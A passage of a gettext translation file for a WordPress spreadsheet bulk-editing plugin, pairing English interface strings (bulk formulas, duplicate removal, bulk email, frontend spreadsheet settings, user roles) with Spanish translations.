formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
                • " #: frontend-sheet/views/backend/metabox.php:136 msgid "Administrator role can view and edit everything." msgstr "El rol de administrador puede ver y editar todo." #: frontend-sheet/views/frontend/page-template.php:69 msgid "Primary Menu" msgstr "Menú Principal" #. translators: %s: Name of current post #: frontend-sheet/views/frontend/page-template.php:117 msgid "Edit \"%s\"" msgstr "Editar \"%s\"" #: posts-templates/posts-templates.php:56 msgid "Duplicate rows: Number of copies to create per batch" msgstr "Duplicar filas: Número de copias a crear por lote" #: posts-templates/posts-templates.php:57 msgid "By default, we create 100 copies per batch" msgstr "By default, we create 100 copies per batch" #: posts-templates/posts-templates.php:83 msgid "Duplicate items in bulk" msgstr "Duplicar artículos masivamente" #: posts-templates/posts-templates.php:89 msgid "Duplicate this item:" msgstr "Duplicar este elemento:" #: posts-templates/posts-templates.php:90 msgid "Enter item name..." msgstr "Ingresar nombre del elemento..." #: posts-templates/posts-templates.php:95 msgid "How many copies do you want?" msgstr "¿Cuántas copias quieres crear?" #: posts-templates/posts-templates.php:105 #: woocommerce/views/spreadsheet-create-variations-modal.php:111 msgid "Execute" msgstr "Ejecutar" #: posts-templates/posts-templates.php:121 msgid "Duplicate items in bulk." msgstr "Duplicar elementos masivamente." #: posts-templates/posts-templates.php:122 msgid "Duplicate" msgstr "Duplicar" #: posts-templates/posts-templates.php:193 msgid "" "Template item with ID %d was not found or is not allowed to be duplicated." msgstr "" "El elemento de la plantilla con ID %d no se ha encontrado o no se puede " 